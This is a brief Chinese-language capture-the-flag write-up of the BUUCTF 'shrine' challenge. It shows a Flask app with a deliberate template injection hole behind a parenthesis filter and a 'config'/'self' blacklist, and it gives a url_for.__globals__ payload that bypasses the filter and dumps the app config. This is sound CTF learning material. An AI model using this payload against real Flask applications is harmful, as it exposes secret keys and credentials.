BUUCTF-WEB shrine(SSTI)
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
但是过滤掉了括号:
s = s.replace('(', '').replace(')', '')
而且把config和self加入了黑名单。
查阅资料得知:
当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。
如何绕过waf ? url_for 调取 current_app
介绍一个很牛逼的函数,叫做url_for,在它引用的内容中,有着 current_app 的全局变量。
payload:
{{url_for.__globals__['current_app'].config}}